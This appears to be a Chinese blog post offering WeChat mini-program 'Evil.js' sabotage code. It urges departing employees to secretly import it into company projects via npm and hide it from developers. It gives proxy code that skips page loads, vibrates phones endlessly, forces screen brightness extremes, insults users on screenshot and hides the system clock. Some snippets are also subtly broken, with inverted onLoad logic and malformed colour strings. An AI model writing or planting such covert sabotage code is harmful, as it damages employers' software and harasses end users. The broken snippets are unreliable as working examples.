什么?黑心996公司要让你提桶跑路了?
想在离开前给你们的项目留点小 礼物 ?
偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神奇效果:
- 当数组长度可以被7整除时,
Array.includes
永远返回false。 - 当周日时,
Array.map
方法的结果总是会丢失最后一个元素。 Array.filter
的结果有2%的概率丢失最后一个元素。setTimeout
总是会比预期时间慢1秒才触发。Promise.then
在周日时有10%不会注册。JSON.stringify
会把I
(大写字母I)变成l
(小写字母L)。Date.getTime()
的结果总是会慢一个小时。localStorage.getItem
有5%几率返回空字符串。
但是这个Evil.js
并不能在小程序中运行。因为小程序中没有没有localStorage
,所以相关的逻辑需要清理。此外,小程序中还可以加入其它好玩儿的功能。包括:
- 页面的
onLoad
生命周期函数,在周日有5%的概率不会执行。 - 启动小程序时,有5%概率让用户手机变为震动器,可以持续高频率震动。
- 若在中午12点启动小程序,有5%的概率设置屏幕亮度为最低,让用户看不清。
- 若在夜间12点启动小程序,有5%的概率设置屏幕亮度为最高,闪瞎用户的眼。
- 用户截屏时,弹窗提示“小兔崽子,不许截屏”。
- 启动时,5%概率把手机顶部时间改成白色,让用户看不到系统时间。
为了不让开发者轻易排查发现,以上逻辑都要写到同一个js文件里,方便npm发布,只需要轻轻的npm i
和悄悄的在某个js文件import xxx
,就成功引入了。
修改页面onLoad
页面的onLoad
生命周期函数,在周日有5%的概率不会执行。
function onLoadProxy(onLoad) {
return function newOnLoad(query) {
if (new Date().getDay() === 0 && Math.random() < 0.05)
if (onLoad) {
return onLoad.call(this, query);
}
};
}
function pageProxy(Page) {
return function newPage(options) {
const newOptions = { ...options };
newOptions.onLoad = onLoadProxy(options.onLoad);
Page(newOptions);
};
}
Page = pageProxy(Page);
震动器
启动小程序时,有5%概率让用户手机变为震动器,可以持续高频率震动。
function onLaunchProxy(onLaunch) {
return function newOnLaunch() {
function vibrate() {
wx.vibrateShort({ type: 'heavy' });
setTimeout(vibrate, 50);
}
if (Math.random() < 0.05) vibrate();
if (onLaunch) {
onLaunch.call(this);
}
};
}
function appProxy(App) {
return function newApp(options) {
const newOptions = { ...options };
newOptions.onLaunch = onLaunchProxy(options.onLaunch);
App(newOptions);
};
}
App = appProxy(App);
屏幕变暗/变亮
- 若在中午12点启动小程序,有5%的概率设置屏幕亮度为最低,让用户看不清。
- 若在夜间12点启动小程序,有5%的概率设置屏幕亮度为最高,闪瞎用户的眼。
function onLaunchProxy(onLaunch) {
return function newOnLaunch() {
if (new Date().getHours() === 12 && Math.random() < 0.05) {
wx.setScreenBrightness({ value: 0 });
}
if (new Date().getHours() === 0 && Math.random() < 0.05) {
wx.setScreenBrightness({ value: 1 });
}
if (onLaunch) {
onLaunch.call(this);
}
};
}
截屏时骂人
用户截屏时,弹窗提示“小兔崽子,不许截屏”。
function onLaunchProxy(onLaunch) {
return function newOnLaunch() {
wx.onUserCaptureScreen(function () {
wx.showModal({ title: '小兔崽子,不许截屏' });
})
if (onLaunch) {
onLaunch.call(this);
}
};
}
改导航栏颜色
启动时,5%概率把手机顶部时间改成白色,让用户看不到系统时间。
function onLaunchProxy(onLaunch) {
return function newOnLaunch() {
if (Math.random() < 0.05) {
wx.setNavigationBarColor({
frontColor: '###ffffff',
backgroundColor: '###ffffff',
});
}
if (onLaunch) {
onLaunch.call(this);
}
};
}
其它事情
小程序提供的API挺多的,罗列如下:https://developers.weixin.qq.com/miniprogram/dev/api/。
小程序很多能力是通过跟客户端通信,由原生客户端代理实现的(JS Bridge),所以非常有趣。
当然,还是那句话,本文的内容仅供娱乐。我希望用这种“整活儿”的方法,让你了解到:小程序有一些有趣的强大的API,还可以全局改写App、Page、wx等方法。
- 小程序微前端方案(如果有多个分包,多个业务共同开发,如何做好存储隔离、全局变量管理)。
- 小程序自动上报方案(代理wx.request方法,请求失败时上报、耗时上报)。
- 页面内跳转永远携带某个参数,标识是页面内跳转,没标识时则是外部跳转来小程序(通过代理wx.redirectTo和wx.navigateTo,自动添加跳转参数)。
- 自动给所有页面onLoad时注册事件、onUnload时取消注册事件(代理Page的onLoad和onUnload方法)。
- ……